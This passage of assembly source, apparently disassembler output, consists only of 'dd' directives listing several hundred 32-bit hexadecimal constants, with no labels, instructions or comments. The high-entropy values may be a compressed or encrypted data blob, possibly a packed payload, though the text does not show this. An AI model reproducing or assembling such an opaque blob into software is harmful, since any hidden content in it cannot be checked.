		dd 5AA92C03h, 0F33B2181h, 0A3ED93BFh, 1758CB92h, 0DCB1ABE9h
		dd 9351E32Bh, 0FF6BBEC0h, 4FE91860h, 0B4E56B32h, 14BC4016h
		dd 4D34C601h, 207079F2h, 4A46EC18h, 0F8DD1669h,	76888BB0h
		dd 0FE4274Ah, 236292F4h, 6C6387h, 0D189515Dh, 8F4187B0h
		dd 6BDB893Bh, 6618CCE7h, 55E0BB8Ah, 339CB5F0h, 34D0F603h
		dd 0C0D8A1B8h, 2E2C05F8h, 55788B3h, 8403CD80h, 0AEBCD4BAh
		dd 0E290CC83h, 0EC9560EDh, 1FEBF259h, 9DE3284Ch, 0E5E94BC3h
		dd 0D6098062h, 8C13FDDEh, 560ABD09h, 60BC3CCBh,	98E97D84h
		dd 0A148B8A3h, 58037F78h, 15F370E7h, 58CB8BF9h,	0C05369A9h
		dd 0A3C08F5h, 0F9307B08h, 7FEC123Dh, 0ED6C63D9h, 33CB68F0h
		dd 59D492B5h, 0B367252Ah, 0CAA25013h, 58C05827h, 0E797BD95h
		dd 409E3553h, 7FF1B934h, 81B5401Ch, 7C3F4FB6h, 4DF25A80h
		dd 0BA5234BFh, 99133A0Bh, 9734D411h, 3BE5B1FEh,	0E91242CFh
		dd 7FA9E150h, 25E9DA38h, 0E8F40EFBh, 56082F5Bh,	6097A046h
		dd 57A5A9h, 0FBBB1C0Eh,	312A0870h, 8DFF82B5h, 0C09BCCDCh
		dd 5F35D9B0h, 0D303092Bh, 0F7CB875Ah, 0E4085AD1h, 0E0E0C3BBh
		dd 410B3540h, 8DA3616Bh, 0EC1590Bh, 4483F100h, 0D4EE6986h
		dd 0B5873ABh, 338CE1BDh, 326BF335h, 885429E1h, 0BDFFB08h
		dd 9B574481h, 0F0B3EA52h, 3CA4E815h, 0BAA574B1h, 12FD8B89h
		dd 1CFA02Fh, 4BE9F229h,	146F8551h, 653D7375h, 0DE003A25h
		dd 205DCBDh, 67BB5100h,	1BE0772h, 20C2B8EBh, 0B1F29F6Ch
		dd 28ED5801h, 9A17B8BBh, 91417FFAh, 89B03D4Bh, 0F713E296h
		dd 7B182D01h, 0C1CE3EF8h, 0A0B6E913h, 480105F1h, 150BE45h
		dd 7442DE8h, 5A29DE8h, 7D63A97Dh, 0D5917B02h, 0DCA5A274h
		dd 1021A490h, 43681EB7h, 0A820283Dh, 73C03B4Eh,	263825h
		dd 0E0D19F0h, 351C320Fh, 1239C303h, 0C71A0563h,	0B9E08CA5h
		dd 2D9EB821h, 0C3BA949Dh, 0FC65E005h, 89BB3ED2h, 1521048h
		dd 2C3B1C54h, 0D68DB8DAh, 19A8950Bh, 50F31094h,	2500D04Fh
		dd 81417DBFh, 764A2FF1h, 0E8524F84h, 4C86D933h,	43566F96h
		dd 0CBB3750h, 2E027BE1h, 9816BAB6h, 4B2CBB41h, 0AC43CEA8h
		dd 96419CC9h, 9B123F5Dh, 0D1B84E0Bh, 0D030BC8Fh, 0BE33EFF7h
		dd 0B4869F65h, 0EE5FF988h, 0E844B786h, 0BD596D98h, 96F25E67h
		dd 9FF8F87Ah, 280FE2C8h, 97B3D84Ah, 0AEAF6812h,	82B35232h
		dd 0FBBCEDh, 0C85725BDh, 4DA1554Fh, 2C7419F5h, 50F30728h
		dd 466633B0h, 9F924CF6h, 607E833h, 280D8904h, 0EEB41968h
		dd 0B652B3C0h, 0F5880464h, 9098EDE9h, 508E0A2h,	7562BF0Bh
		dd 0B57068h, 115EB5Ch, 0BB5357C2h, 0DF8909A0h, 2EC2A9B4h
		dd 7405098Ah, 7D8F968h,	9AE3B94h, 12B4C5B4h, 1A4207EDh
		dd 6BC1392Eh, 8C1270Fh,	9268CA25h, 95E00312h, 31F25F97h
		dd 7780557h, 0C7AFF004h, 126A3639h, 894953B7h, 1B68997Ah
		dd 10E0446Bh, 42BC60F6h, 84CF0E2Eh, 0CAAB03DEh,	3E35EA3h
		dd 2BADE987h, 18C72242h, 9F8FFA2Dh, 76248965h, 55032DCAh
		dd 12E9342h, 2A096C24h,	0A0D70173h, 1CD0081Ch, 7C5A2D14h
		dd 29D259D4h, 0BB432A49h
		dd 4BAF8580h, 68346B26h, 8A3723Ch, 45601C1Fh, 61E92A04h
		dd 0CF7B20E1h, 59E912FEh, 0EF254B4h, 27D476F7h,	4F6EE2C0h
		dd 0F29D7902h, 96EA00E5h, 2945538Bh, 0E42CE9D7h, 0C0A509A0h
		dd 7147FEFAh, 3C7B9D1Eh, 68BE0A7h, 4E791C4Bh, 12EB35Eh
		dd 32E5115Fh, 0BD78A361h, 0C8AF0FC0h, 1B5BF9E9h, 80F4ECBCh
		dd 2EDA05C4h, 8902D70Bh, 0F5F005C6h, 63AA3F24h,	52D538C2h
		dd 2540487h, 0E50AD8ADh, 94665C88h, 922042E0h, 1328EEFAh
		dd 6322067Ch, 91BB3B9Ah, 0B1316D96h, 0E9034071h, 6148F432h
		dd 1F360B32h, 790B02EFh, 34305A2h, 0AC0D87D9h, 7BE0C397h
		dd 9031182Ch, 558B3C9Ah, 0E85D4FA5h, 858C483Eh,	0C9C3525Eh
		dd 0A862FB6Eh, 2F80B9BAh, 0EC85736Fh, 38DAB42h,	0F2052528h
		dd 0C1E8B09Eh, 7E1148C1h, 41A1F4CCh, 5F60297h, 0EEC61B00h
		dd 0D7093163h, 4EB1792h, 0D3F1DE00h, 8301707Eh,	0BD6855F2h
		dd 205C3DB0h, 95522C10h, 5925BFA3h, 80FB255Eh, 0E9525F82h
		dd 2DEA56D9h, 0B22DD75Bh, 795784C8h, 501031FBh,	0F7634254h
		dd 0B96D4F0h, 80C069D0h, 0BBF5966h, 415BD6DFh, 955FF268h
		dd 4BC0B029h, 76F08546h, 92CB055Bh, 266701h, 3F2789E1h
		dd 3ECC121h, 7E01BD90h,	1FE49F7h, 25705BDFh, 0F147BF6Dh
		dd 6735D330h, 1FF10428h, 0E2712B68h, 1E185097h,	0F1E59841h
		dd 4B4DCB7Bh, 90C2A944h, 0C4805A01h, 68956E60h,	0E9E31D80h
		dd 522E5E8h, 0C95B7248h, 2440F99Eh, 2EB0C115h, 0E66820EFh
		dd 0CB786613h, 0CB7EE90Ah, 5A4A6E40h, 1A0B759h,	561F7CD9h
		dd 0B261F9A2h, 49133BD7h, 52FE73FEh, 74C35400h,	0DBF723B5h
		dd 0B0F30481h, 0B8A1909Bh, 3DE9176Dh, 0B33E8EE1h, 65BBB1A2h
		dd 1E9E1A40h, 8C19484Bh, 0A66D017Eh, 0D2E9401Dh, 7EFB39E3h
		dd 8C65EC4Eh, 28F789BBh, 7E3AB206h, 88500B43h, 0CC7BDD02h
		dd 4B1F7Ch, 1835E155h, 0E65EC41Fh, 0F74102B1h, 59E082D9h
		dd 0AB210575h, 2BF4B842h, 70F6C024h, 0AAF39F8Bh, 19F32B2h
		dd 6F91685Eh, 2B96785h,	511004D7h, 46EA12EEh, 0DD7BABF3h
		dd 6EC45EFAh, 3B1C7ECEh, 0F9FEF602h, 0CA7FAC75h, 5D14FDFDh
		dd 0CC88EAB3h, 0E79F3D01h, 6BD40F5Bh, 0FC90D67Dh, 53EDD224h
		dd 2E87E9C2h, 9AFB0009h, 9809AF61h, 0B773E413h,	0EBC7B6B0h
		dd 0E12E8082h, 0F631BA70h, 0FD1C5B6Dh, 64C8862Bh, 0F0EE7975h
		dd 0B6954ABAh, 2D257A51h, 0CB0251E3h, 0A42D14D5h, 0DC619F2Bh
		dd 5856340Ch, 0D24AF8ECh, 0C28019C9h, 193E3881h, 0D65BF75Eh
		dd 2BE65F80h, 8062C07h,	5FF8E7Ch, 7F5C89CDh, 0EA14FD1h
		dd 0D35F5606h, 0B95FACC3h, 903FE7D1h, 0B99610FBh, 8D85945Bh
		dd 0D9212712h, 597C1CE9h, 3C6ABE70h, 0FDDC5BF4h, 9C9DEFBh
		dd 42765627h, 0F9795058h, 17C4108h, 0CB69CFBBh,	12942006h
		dd 0ABD62E12h, 0C26731ECh, 323EF65Dh, 8030CD5Ch, 0D59D6AEFh
		dd 9FF5F66Dh, 77DC678Bh, 9AEAC327h, 10AF7213h, 40C770EAh
		dd 54E648B6h, 0C4E93409h, 0F17F24CEh, 0B9355AFFh, 8E279476h
		dd 0D62A4F0h, 0C08AEEh,	0ABB2664h, 1BA2F181h, 384BDB2Ah
		dd 2DE93E4Eh, 56947D02h, 14C42932h, 0F54FA5F4h,	4EB34E28h
		dd 0D384F8C6h, 0E9B12BF8h, 1CE38B1h, 0FE02E1C0h, 0BF2851C1h
		dd 0C9805904h, 0ED4784F8h, 0F2F7028Ch, 804CB30Ch, 6544BCDEh
		dd 2AE91832h, 88595017h, 1877C16h, 405255B4h, 72F56682h
		dd 635912EAh, 56B497D0h, 0AEC5A009h, 742D8077h,	0F0664716h
		dd 0DB49ED5Fh, 55B81A19h, 7A20793Ch, 0D326EA96h, 5CBE0167h
		dd 709D2194h, 1C5A8312h, 107B55E1h, 0E91708DDh,	6834B0CBh
		dd 6C3BCF25h, 15F39D1Bh, 7808716h, 0F05FCC80h, 0CDBE5A33h
		dd 0ABDB20A0h, 10BA78A3h, 0D089F8DEh, 0D0B25EC0h, 3B9D8CF6h
		dd 0D4D6DA93h, 432C05F4h, 53FAC020h, 0FE398CB7h, 4CF35C7h
		dd 0EE809FE0h, 0F6889762h, 85CA38AAh, 37D9BA19h, 813E2931h
		dd 331B4FCEh, 628D103Bh, 0F32D4009h, 8628AA56h,	8427F158h
		dd 22E4B316h, 2B9F027Bh, 5FF901F7h, 81BE3075h, 434801E5h
		dd 64E92BABh, 43682C67h, 193F3077h, 7D5157BDh, 27567B15h
		dd 0CA59994Bh, 7C748BC9h, 0E9C240A7h, 799917EEh, 0EB38FF0Fh
		dd 9280800Ch, 953EDC0Eh, 500103D9h, 15BE0FCh, 5E0FE620h
		dd 17CE20Dh, 8E43C581h,	846E1B38h, 923EFC9Bh, 0B94A77ACh
		dd 71C4A522h, 9C51CE98h, 7BD142D1h, 608BB851h, 50015C01h
		dd 0F99DA650h, 2128B258h, 22D66801h, 0AD61CC2Eh, 0C0538097h
		dd 3D8006EBh, 74A7C9C3h, 0D6BDFF00h, 37007332h,	66B7CD81h
		dd 49E962D8h, 5C273B2Fh, 0DD68F0DCh, 1472133Fh,	5CD670BFh
		dd 880B5153h, 61B8E9D1h, 37B0BBE1h, 3BCAEBBEh, 7A4B0D2Dh
		dd 0F70883BEh, 59407880h, 98FBFC19h, 6B10614h, 2A456ABBh
		dd 61C63A01h, 5FFD2951h, 25E9EBCCh, 41E8DE4Ah, 0AB242B40h
		dd 9802CE12h, 4060B636h, 65DA7DCh, 0D33161EEh, 0F3066A5Ah
		dd 191150AFh, 0D9030292h, 0DD01533Fh, 65E748C1h, 94B5E39Ah
		dd 0B186AC21h, 0D14DD727h, 6A5B4042h, 3DDC37h, 343CEEC9h
		dd 0C62B268h, 0B86C335h, 2129EA91h, 0BF7F4482h,	5DE39CDCh
		dd 4A765260h, 203C0402h, 0C70EFFDAh, 84E20967h,	86916E72h
		dd 0EB41CBFEh, 34892C3Fh, 2130B666h, 999DE7FEh,	6705792h
		dd 0F49C4894h, 5AC351A2h, 32A6B540h, 37D3431Eh,	23ED53D6h
		dd 0C9FDC200h, 0D789BCC0h, 50C94A99h, 4D09BF90h, 8A659785h
		dd 56A04E35h, 1A132F2Ah, 0EF95D172h, 0FF9D884Ch, 82BC5C2Dh
		dd 39CF54EBh, 1795A660h, 18CCE91h, 0A8BCF84Fh, 5C685784h
		dd 1503B8F3h, 0D10EBD5Fh, 72E9EAE1h, 42592F27h,	81B2D713h
		dd 80B76575h, 4CD406BCh, 0A11C2548h, 55931727h,	0DEA5C30Bh
		dd 0C422D26Bh, 70BA0EFh, 2A02B507h, 1FDFFC4Bh, 72C6CB08h
		dd 0CD62A254h, 459977FEh, 0D7A02B54h, 256940EAh, 1F06FB00h
		dd 7685502h, 0A49C5A26h, 0C0FB1D83h, 0E427E961h, 64346883h
		dd 53C22740h, 0E307C00h, 5F90137Ah, 476BCBh, 773C1259h
		dd 0E3810238h, 69CC022Ah, 676C9C40h, 31C8D200h,	892D5BDFh
		dd 97637411h, 780F470h,	732A685Fh, 0D0BD7C3Ah, 220C09F1h
		dd 9F046A9Eh, 6A3E4EAh,	2DD24BDh, 0C23390AFh, 68130355h
		dd 260B2901h, 0E59C2B62h, 5C97BF63h, 0DCEBB90Bh, 268564A5h
		dd 0CBB55F3Dh, 8A5CB95Ch, 0B8A460F7h, 20F0B2D8h, 21F42EF8h
		dd 44E8295h, 3689C0EDh,	0EE4C8352h, 0F40E7C93h,	972CF028h
		dd 622F2DB1h, 0C6C15113h, 25B07A7Dh, 33E12E80h,	0E4061CA6h
		dd 0C9FE09F9h, 0E6EAD102h, 89E19E7Ah, 0E5F093Fh, 0CDB45699h
		dd 0B75E9868h, 0E989C4F1h, 0BE2626A6h, 21DECB18h, 2BD3844h
		dd 0A2E14D05h, 4106E3C4h, 2A6457FDh, 9BAF97BFh,	0F478DF49h
		dd 0B7E11E95h, 80B7F752h, 0BA223B1Ch, 41F9A208h, 0F5707D48h
		dd 0ACAA5E11h, 0F2179E12h, 0EEA685h, 1EB2BDD9h,	1B857B8h
		dd 506C4A09h, 49B98320h, 516DB7Eh, 0F6B2FD0Ch, 7112AF41h
		dd 785A200Bh, 0D313BE77h, 29779204h, 0F1F81866h, 2C7D5F0Bh
		dd 0B06508DFh, 92BA9426h, 0D8C85E2Ah, 4FB2FC43h, 0CE8BCCE4h
		dd 0B8BD0B2Eh, 5D97C8A6h, 0CFA3DD27h, 54B2227h,	2955E197h
		dd 0F521068Fh, 0E9B95160h, 494E7356h, 8912C6A8h, 4754D8E8h
		dd 8AA9264Fh, 9FCBD1D3h, 0BADD04BCh, 0BD5DCCF0h, 93BDC15Bh
		dd 33AEE890h, 69D28896h, 800124F6h, 0EE282EC5h,	0C7DD34E8h
		dd 94AB2C14h, 4A0482D8h
		dd 7BBDC870h, 0B3B801F7h, 2B671201h, 271CD3C0h,	251A023Dh
		dd 5A8C616Bh, 0E904ADF4h, 0CDFA0849h, 0FFD52EE0h, 0D11E4D04h
		dd 99E2AACh, 0EC4BD218h, 7A615F8h, 8834095h, 9544EA59h
		dd 11818846h, 1A5DBC58h, 754061DDh, 542429CEh, 10409EF2h
		dd 0B7093341h, 2B5B03C9h, 949D2EB2h, 0E64B14EEh, 0F70E2CCCh
		dd 2ED4FAAFh, 6BBD7F03h, 0DD41A04h, 81ED945Ch, 73FA1881h
		dd 3D582E3Dh, 0F12D8A5Dh, 1D04AC93h, 0B2230DFBh, 0CC3EE9B0h
		dd 0C8964EBDh, 0BE017264h, 40EA7B9Ah, 0BC83903Ah, 0FEC07F59h
		dd 0B5D0BAEEh, 5308BDCAh, 0F12D08E5h, 63FC6804h, 569E63FEh
		dd 66054FD9h, 55BA026Fh, 0C0482B3Ch, 82E0CC35h,	569E70E3h
		dd 5A5BFA98h, 0DBCE3761h, 88DAF601h, 17663738h,	0F90ED2Dh
		dd 0C1DF0559h, 2CE93AA9h, 0CADBD16Fh, 37E2F8E4h, 46B8F0C0h
		dd 0F8093839h, 0A06C25E9h, 5C9935Eh, 0EB2067E7h, 0E4F37CE2h
		dd 2DB5EF7h, 30D66829h,	19654BFCh, 0AEBDBE4h, 10272DBFh
		dd 844E12E2h, 1F9FAA60h, 0AB5C1E18h, 0CA0553EBh, 0DA29FB7Eh
		dd 16A611F8h, 7B173E90h, 0F843E41h, 0E90B03A9h,	30E960CBh
		dd 0C4526953h, 5A05A267h, 8E0EC056h, 6E7DA03Dh,	206DCA27h
		dd 0EA12A848h, 0B8589744h, 0AE6E5861h, 1DD604Bh, 87241F7h
		dd 39F70C84h, 941F8107h, 3223EB0h, 1644F4E6h, 0EA6599ACh
		dd 0D927E454h, 0E5E46FCAh, 3748E41Bh, 0F40021D6h, 6C61662Dh
		dd 10050426h, 0EC7A817Fh, 9AC5AC4h, 464BE9B8h, 32BD7807h
		dd 2D029691h, 0A6DC420h, 5E8294Ah, 725D1B07h, 1D1417C5h
		dd 0AAE90432h, 295B02D6h, 24AA6CEBh, 12A0C301h,	0D430FE98h
		dd 18DA6ED8h, 40EEC15Ch, 0D0829993h, 75DE0B57h,	95D19A5h
		dd 1793DD63h, 0E9050609h, 0F670A5E0h, 0A13F4E9h, 3CF1BD5Bh
		dd 655117D0h, 606B89E4h, 4F9DE1BEh, 813A151Ah, 0F43202EDh
		dd 0C0DDF71Eh, 44B5F7Ch, 4CE90F85h, 15FA9D7h, 6B0E6178h
		dd 1A04F301h, 0E4D71C08h, 194B2026h, 99BC00B6h,	42121AB4h
		dd 0EA026B7Ch, 0C6DECB55h, 7C01E048h, 54ADA3B9h, 736AF22Eh
		dd 9D26EC5Dh, 7CAD0851h, 0E42F5C9Ah, 287D7989h,	11D108FDh
		dd 0B1023A9Eh, 0D0310704h, 0C9E9125Ah, 2068A713h, 4E0FFC33h
		dd 0E0828987h, 5C91AC1Fh, 28FA0212h, 895E1B2Fh,	3F51A0CEh
		dd 690771C5h, 0C8D167Fh, 542E3127h, 7717C6B0h, 9AE7F6Ah
		dd 0CFF48870h, 5F20F27Bh, 331D5B98h, 8D338482h,	2C0FA610h
		dd 0B8A7AB41h, 0CC5472D8h, 6F18E875h, 272995Ch,	22B87A98h
		dd 0C60FA980h, 509F27E7h, 0EA9B495Dh, 814F873Bh, 5946BB7h
		dd 0D2F68AFAh, 0A53A6843h, 260C0934h, 248B78B1h, 0C0FCCC40h
		dd 3033E495h, 5293DFC6h, 88098BB6h, 54285AF3h, 0D0815B95h
		dd 0A53E6066h, 9BDBC40h, 552F6306h, 0D671155h, 5076022Dh
		dd 0D203FB07h, 79DAC0Ch, 668B16F1h, 47AFB1E4h, 8F404732h
		dd 98FE59EBh, 3D20EF80h, 0ED295DE5h, 0EFB8E444h, 633BB802h
		dd 416105C2h, 46DECAC7h, 5C97FE0Bh, 8FE485Ch, 5625E2C2h
		dd 2FD41CD5h, 68A8A363h, 0A29E0A62h, 0D5C24062h, 117C313Ah
		dd 485F56Bh, 4AF7FDC5h,	5AF5D7E0h, 8C748CE2h, 96EEA748h
		dd 6E856EBh, 5B5BDA73h,	71CDE919h, 0EE20E135h, 692C9C81h
		dd 9E9FE9F0h, 8E71B54Ah, 1E95C44h, 1BD3578Bh, 804FB2C9h
		dd 4F1F5A99h, 0B1014E77h, 0B008068Fh, 7A9102FEh, 0DAC7A616h
		dd 0D3BEF185h, 0E7E5E1Ch, 66C8A125h, 0FE1A9747h, 2791647Fh
		dd 14BAB969h, 0EFFC7150h, 0C5B58C4Bh, 3F0758E5h, 55461D89h
		dd 311B6817h, 74820037h, 22E65F21h, 0C00DBABDh,	80834157h
		dd 4092EBC1h, 0E473EA00h, 5FE68119h, 726B1D69h,	48CEC24Eh
		dd 73C0D33Ah, 131BB2EEh, 800C1A12h, 0A10A1B1Eh,	0ABF410CCh
		dd 0B295FE2h, 7205D975h, 49E488D0h, 0A7425413h,	0DF054D09h
		dd 0A2833998h, 57E2E983h, 8BBBB5D7h, 0E00B258Ch, 0EEE320F5h
		dd 0E2E15E92h, 57C61750h, 0F69642E2h, 27E9165Bh, 0C4AD574Eh
		dd 8FCA5A86h, 0FCD64F7Bh, 72EF9778h, 5126F194h,	4FA6497Eh
		dd 60BF6882h, 3B54B099h, 0C12DE129h, 0DD64E9E0h, 7376199Dh
		dd 2502F138h, 68810D46h, 54F002C2h, 42F3D99Dh, 33FE5152h
		dd 5475EC10h, 24808A3Ch, 12F0F1CBh, 79F801AFh, 0C8DA8852h
		dd 2D905AD1h, 4464F025h, 7D70BF1Eh, 0CF8F7754h,	4567C413h
		dd 7DBF2506h, 2ED2617h,	0FA66E4ADh, 2CE5523h, 514DC727h
		dd 9DF69FCh, 766EAB0Fh,	0EE7572BDh, 4DC5BFB7h, 508063ACh
		dd 1D7B11B8h, 0EB8C9774h, 5A00E612h, 0CD053BFCh, 0EA6C770Fh
		dd 6F1A0D3Ch, 382601E5h, 3F19305h, 8534642Eh, 0D862EE96h
		dd 99E296E9h, 0E9522FA0h, 149E2C20h, 0E51C6853h, 12613D84h
		dd 6E183EE2h, 6857296Ah, 9869250Bh, 3C11D416h, 0B87685DEh
		dd 1DE70482h, 4ABF641h,	0AB5C31ECh, 5B6944CEh, 664181D0h
		dd 18DA3EA5h, 34215B4Ah, 30325D48h, 855AF9D2h, 0ABE65BD7h
		dd 0D1656817h, 2A9E2065h, 915A29B7h, 32E868F4h,	49142136h
		dd 5A485DE6h, 0D19C2E2Dh, 1D885C96h, 0B35309A0h, 4582C043h
		dd 1FC92CE9h, 0BC941733h, 337E2D09h, 0AFDBC142h, 0C2B9812h
		dd 0E4949D14h, 0A002C322h, 9575E791h, 0D0428DF9h, 0F44EF705h
		dd 0E8D89C25h, 180175ECh, 0A5C1476Ch, 558271A1h, 315AF985h
		dd 9DD5469Dh, 0CBD7C31Bh, 0F5C72092h, 66617AFh,	0F7041782h
		dd 5B4B39BDh, 51B0B680h, 1848616Bh, 7AD94147h, 36C4871Dh
		dd 88E85B32h, 0F310095Dh, 0D0681D57h, 494FD64Fh, 8148DA0Ah
		dd 38749DB7h, 74779048h, 0AC02F17h, 0BBE73F60h,	95F793Ch
		dd 0D9E1BDE9h, 6CCA0106h, 2A1FC817h, 16E87AB0h,	0BFDFD8B7h
		dd 36AD0F12h, 0CA4BC84h, 16F9385Eh, 167CF3Fh, 9E2922A7h
		dd 0A8812A79h, 7A71D631h, 8006CF38h, 4768FCF5h,	0D2C928E0h
		dd 0C0B8998Ah, 93CD043Fh, 0F381005Eh, 171609D5h, 4895578h
		dd 36A0D33h, 0D831ADh, 6DB5B3E2h, 2BCB0507h, 88567625h
		dd 0E90607D6h, 0A0B1B2B9h, 0BD234DDAh, 26829B98h, 0E947AB06h
		dd 0BF28F09Fh, 952E2B6Dh, 2778502h, 6A84C2Ch, 3B1D46B8h
		dd 5A1E940Bh, 2F26C463h, 522B9601h, 0DD700131h,	0AC6B4841h
		dd 941CB4A7h, 0CFCD8157h, 80F468C2h, 8E071FBAh,	15683C6Bh
		dd 0BF09C154h, 49421C8Bh, 0A4B06FD5h, 0FBA61246h, 212B156Dh
		dd 73541B3Eh, 6C9510C9h, 89D0B11Fh, 0A9101C43h,	7682C775h
		dd 0FB6934DDh, 0C14EB682h, 84059744h, 584782E0h, 3BA9DD09h
		dd 68189A46h, 3DA75D26h, 0F5F1BF7Fh, 599F84B9h,	888021D1h
		dd 60896213h, 2FFB726Fh, 2AB009F2h, 879FF03h, 41FE292Dh
		dd 1CA0081Ch, 2799BF14h, 8CFA6157h, 0CC5158CBh,	40BE808Eh
		dd 330F2001h, 3C7684Eh,	40DE1868h, 0E910A81Ah, 0FDC06A37h
		dd 99275CC7h, 98297677h, 0C00882C7h, 81D0A4D9h,	4FF28F43h
		dd 42A269A0h, 0F0138381h, 0DF02B215h, 4C55B442h, 76342098h
		dd 972D5576h, 0D366A15Eh, 8770B652h, 5C7D4016h,	12DF0852h
		dd 0C6A9533Ch, 25682585h, 0CD48CD09h, 758820E2h, 4F82E980h
		dd 0CAE2A358h, 5A80F38Fh, 0FEAFF180h, 8C6663C1h, 0E2CD207Eh
		dd 0C180C5FEh, 0C8DB07FAh, 56FD3E51h, 0B244F0CEh, 7CAA0982h
		dd 0C9912E94h, 0DD40A65Fh, 91015129h, 0BD4BE82Ch, 39147312h
		dd 16913263h, 0D29D9B6h, 575C0D85h, 0F065D556h,	2094669Ch
		dd 0F752A609h, 5854FB38h, 0C9EC7B97h, 70B41A27h, 0F5814B68h
		dd 210DF465h, 4BB95B82h
		dd 276B326h, 2B6CBA61h,	0AD606395h, 78251EC2h, 853A6031h
		dd 16C67DA3h, 0BBDDBAE9h, 0AA22AF32h, 6A08A0DCh, 0C12909AAh
		dd 3F078A7Ch, 5DD2135Ah, 13AD4CA8h, 0E83E6968h,	0F639C4D3h
		dd 0C10EBE12h, 8207CB2Dh, 0D75DEE75h, 7BF32031h, 58276EB3h
		dd 3AB0BE46h, 0A3C83132h, 9FBA82E1h, 0F4185597h, 0F99CE3ACh
		dd 60EE683h, 733BD954h,	812F6425h, 4CBCCA0h, 0C106AAC3h
		dd 77A5A29Eh, 0B52085D8h, 0EAC003FBh, 80CAFE08h, 74EF8EABh
		dd 0D30692B6h, 93756577h, 51EAE9EBh, 7BE57FB7h,	78108A3Ch
		dd 0E8987083h, 59663909h, 5806DE51h, 0B40BFDB1h, 0B0CC28BFh
		dd 0BDE58817h, 0DCA5F259h, 945CC476h, 0A364FC54h, 842A0456h
		dd 0FB3D2E47h, 4E4476D0h, 76297646h, 400838F1h,	24B55940h
		dd 0E5F0BEA1h, 96EB2D80h, 3FD95FB1h, 3DFB2B17h,	0E4992BEFh
		dd 0E4AC952Bh, 6F412843h, 959E02Eh, 4D4FC412h, 0DCBE580Bh
		dd 0AB6BEF76h, 14D53762h, 847927A9h, 2FF35D69h,	0BD09B4C4h
		dd 2DB702DCh, 25684CE0h, 1E991608h, 0B2E43BD2h,	475041E2h
		dd 76D65BF7h, 71BEF60h,	535D2578h, 0C304AFE6h, 14BC0406h
		dd 23108FBCh, 285B307Dh, 7EA6D7DDh, 0F2D87EFAh,	0B21CC7FCh
		dd 0B0FD7289h, 73824B5Ch, 0D47DE12Dh, 0EB2550C4h, 6426CDE0h
		dd 0B6267D52h, 0D3F75984h, 0CEF3E6C1h, 5B020D70h, 88D901h
		dd 2E5F2591h, 15E9790Bh, 621C7402h, 910A9C69h, 0A3087504h
		dd 10D4A9E0h, 64FFB49h,	465C2E2Dh, 31A30B0Ch, 0BF800B13h
		dd 39AF3B09h, 4E084858h, 713A8CE1h, 91618Fh, 0B57A2568h
		dd 71AD1418h, 2A86EB5Ch, 2178819Fh, 0A742FE96h,	934009B5h
		dd 41557268h, 3176E020h, 5B110201h, 994E943h, 83CEB769h
		dd 0BAB04D3h, 0D2B80375h, 7703BA09h, 0CA81AF60h, 2F24F20Ch
		dd 28D039h, 2D36AC5Eh, 7DB22A01h, 8D555628h, 0CC75AE17h
		dd 5D2B2305h, 0ABEB74EAh, 52F29071h, 607AB001h,	0F997C532h
		dd 0E381000Dh, 10FD7F43h, 0C1DBF728h, 0FFE9E14Eh, 18EEF297h
		dd 0F6374F9Eh, 0E63B2E9Bh, 6AEF09C7h, 0B5DD1C6h, 0D8681689h
		dd 0F33A33F1h, 2C9ED452h, 8244DCE7h, 0B17FE583h, 0B6C339C3h
		dd 0B107EB10h, 6ABBDFE9h, 0F0CC8662h, 0C42D65BDh, 0C855C2D7h
		dd 5E2FD556h, 9159E2B5h, 0C55D4C6Ah, 0E67A2DE7h, 28B6E52h
		dd 7EFABDEEh, 2051D4C6h, 19BD808Eh, 4F1F2E64h, 4FEA1024h
		dd 0F6030DBDh, 0D27B2B9Ch, 2F8DE8F1h, 52DADE32h, 2CE27F19h
		dd 6523A9FAh, 0ACEEE53h, 0BC296614h, 0B54EE284h, 0D91DDC27h
		dd 0E4445927h, 30D8B0E0h, 0F72455C5h, 0FE0087D7h, 6E8C196h
		dd 16F025h, 362D426Ah, 21DCE9A1h, 25BFC55Ch, 84017AE3h
		dd 14EFB53Dh, 15101427h, 86C771E9h, 0B040CD48h,	7852121Ch
		dd 9C35080Fh, 0D71EAE24h, 12E0471Fh, 6001CC68h,	0D51D6EC1h
		dd 0E3C1770Bh, 7AF605h,	40A325CBh, 779C1BE9h, 83127434h
		dd 121D2231h, 56358005h, 3D7B9F7Bh, 5313BC4Eh, 0C6C46277h
		dd 59017FF8h, 0A076E80Dh, 5BA02F49h, 0C53316BFh, 3BDD046Bh
		dd 10FD147Eh, 523BF149h, 0CAC91CE2h, 0CDEE8003h, 510AC2EAh
		dd 45410FDFh, 0C6E57AE9h, 0A5114368h, 0B1977873h, 0FB45E99Ah
		dd 2559A920h, 36414CFBh, 64986B2Dh, 0B0865036h,	13A3AC13h
		dd 0EE114268h, 9DEDE138h, 0D501AA48h, 51DACCC9h, 57133C7Dh
		dd 3E39AECFh, 0C4FDFBF8h, 8146B41Ch, 2FDDADADh,	1C952CE3h
		dd 9521E984h, 4E98F8EAh, 0F9049B8Bh, 0EF099F71h, 0BB0558C0h
		dd 0CDDD00E3h, 4701FE0Dh, 0E9FAD12Ah, 3AED9227h, 119A7505h
		dd 0D42ED864h, 18C39993h, 0E8835F8Bh, 9E9B18Ah,	7BF3D24h
		dd 5D152137h, 0F952B247h, 92BBBC56h, 2CA3F634h,	5F1FC973h
		dd 8AA594FFh, 824C4680h, 0DA9EFFE1h, 0D9D54Dh, 6C0F1C2Dh
		dd 28D02939h, 0BD08BD55h, 0AA05EC04h, 4F6FA7A1h, 0FDF3F8B5h
		dd 6153A246h, 0EA04D760h, 879CFB19h, 994CC3ECh,	5807B138h
		dd 51947E35h, 7342912Dh, 0ADAE6863h, 0FDFA5F68h, 4D36867Fh
		dd 0EDBF5B52h, 0CEA04EB3h, 0CDD9B72Dh, 5B1C2F04h, 751295C1h
		dd 85DC0102h, 8DF05E93h, 9405033Eh, 0B4F5E934h,	0C5A0254Bh
		dd 0AC39136Fh, 8E530542h, 0C15ED1E6h, 9BF043E5h, 2800909Eh
		dd 38B252D0h, 9504EAC0h, 0EF1434FAh, 20C4DAF6h,	0A00979CAh
		dd 0EE781F2h, 49256351h, 904F84DEh, 0C008BA82h,	25422793h
		dd 0A34898D9h, 54269110h, 0C28D0879h, 0C34D590Ah, 0E22A9807h
		dd 3D40FED9h, 0F7CD8706h, 510608D1h, 0FE7847B9h, 5E45203Ah
		dd 82A04A71h, 34E23067h, 13220CC0h, 25E914A8h, 0B5D1DB50h
		dd 0E00D0226h, 8B30734Bh, 576481DDh, 0D54AF4F5h, 13F1BC82h
